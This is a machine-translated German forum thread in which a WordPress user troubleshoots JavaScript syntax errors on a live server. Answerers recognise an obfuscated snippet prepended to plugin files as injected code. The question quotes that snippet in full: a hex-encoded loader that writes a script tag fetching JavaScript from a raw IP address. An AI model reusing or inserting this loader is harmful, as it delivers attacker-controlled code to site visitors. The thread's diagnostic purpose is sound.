2017-06-22 2 views
0

Alles funktioniert gut in localhost, aber in Live-Server, plötzlich bekomme ich den oben genannten Fehler für jede einzelne js-Datei.SyntaxError: fehlt; vor Aussagefehler in WordPress

ich auskommentiert wp_enqueue_scripts in functions.php, um zu sehen, ob der Fehler verschwindet, aber es immer noch da.

Auch unten Zeile hinzugefügt, die Zeichenfolge concatnation könnte es verursacht haben.

//prevent javascript concat 
define('CONCATENATE_SCRIPTS', false); 

Ich kann nicht herausfinden, was dieses Problem verursachen könnte. Bitte berate mich. Ich kann den Zugriff meiner Website zum Testen bereitstellen.

EDIT:

ich eine meiner Plugin-Datei in der Konsole mit Fehlern Bemerkung gezeigt geöffnet. Bemerkenswert seltsame Zeichenfolge vor dem eigentlichen Code beginnen. Ich vermute, das könnte das Problem sein.

Ist das eine Art von Präfix von WordPress oder unerwünschte Zeichenfolge von anderswo?

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() { 

    var meta_image_frame; 
    var meta_mobileimage_frame; 

     // Runs when the image button is clicked. 
     jQuery('#banner_manager_image_button').click(function(e){ 

     ....plugins js code----- 
     }); 


}); 
+0

Überprüfen Sie, ob Ihre Dateien korrekt auf den Server verschoben wurden. Vielleicht hast du irgendwo ein paar zusätzliche Zeichen? Wie '\ r \ n' ersetzt zu' \ r' und dann werden alle Kommentare ruiniert – Justinas

+0

Sie können sich Ihre Javascript-Dateien ansehen, um zu sehen, wo das Problem sein könnte. Wenn es eine Zeilennummer aus dem Fehler gibt, noch besser. – aynber

+0

@aynber, ich habe gerade eine der js-Dateien von der Konsole überprüft. Ich fügte meine Ergebnisse in meinem Beitrag oben hinzu. sehen Sie, wenn Sie – 112233

Antwort

1

Ihre _0xaae8 fehlt ; vor jQuery(document).ready(.


Dieser Code: var _0xaae8=[... sieht aus wie injizierter Code. Normalerweise hatte ich solche Codes über einige schlecht geschriebene Tools/Plugins/libs gesehen, die es dem Benutzer erlauben, mit Dateien zu arbeiten (wie das Hochladen von Dateien zum Server). Ich schlage vor, es zu entfernen, wenn es nicht Ihr Code ist und andere Dateien auf dem Server auch überprüft.

+0

Ich weiß nicht wo die zusätzliche Saite eingespritzt wird also kann ich sie nicht entfernen. Ich habe auch versucht, alle Plugins zu deaktivieren, um zu sehen, ob das Problem behoben wurde. Aber es bleibt bestehen. – 112233

+0

Ich vermute, print_head_scripts Funktion in script-loader enthält den Fehler ...Überprüfen – 112233

+0

@ 112233 Deaktivieren von Plugins kann nicht helfen, da Dateien bereits injiziert werden. – Justinas

Verwandte Themen